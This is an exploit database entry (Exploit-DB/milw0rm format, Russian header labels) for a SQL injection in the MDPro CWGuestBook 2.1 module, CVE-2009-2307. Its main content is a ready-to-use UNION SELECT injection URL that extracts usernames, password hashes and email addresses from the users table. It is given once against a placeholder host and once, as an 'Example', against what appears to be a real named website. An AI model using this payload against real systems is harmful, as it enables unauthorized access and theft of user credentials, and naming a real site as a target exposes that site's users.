Exploit MDPro Module CWGuestBook 2.1 - SQL Injection

[Exploiter]

EDB-ID

9056

Проверка EDB

1. Пройдено

Автор

DANTE90

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-2307

Дата публикации

2009-06-30

######################################################################################
#                                                                                    #
# Author: Dante90, WaRWolFz Crew                                                     #
# Title: [0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90       #
# MSN: [email protected]                                                       #
# Web: www.warwolfz.org                                                              #
#                                                                                    #
######################################################################################

[0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90

[code]
http://www.victime_site.org/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--

Example:

http://www.lacinium.com/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--

# milw0rm.com [2009-06-30][/CODE]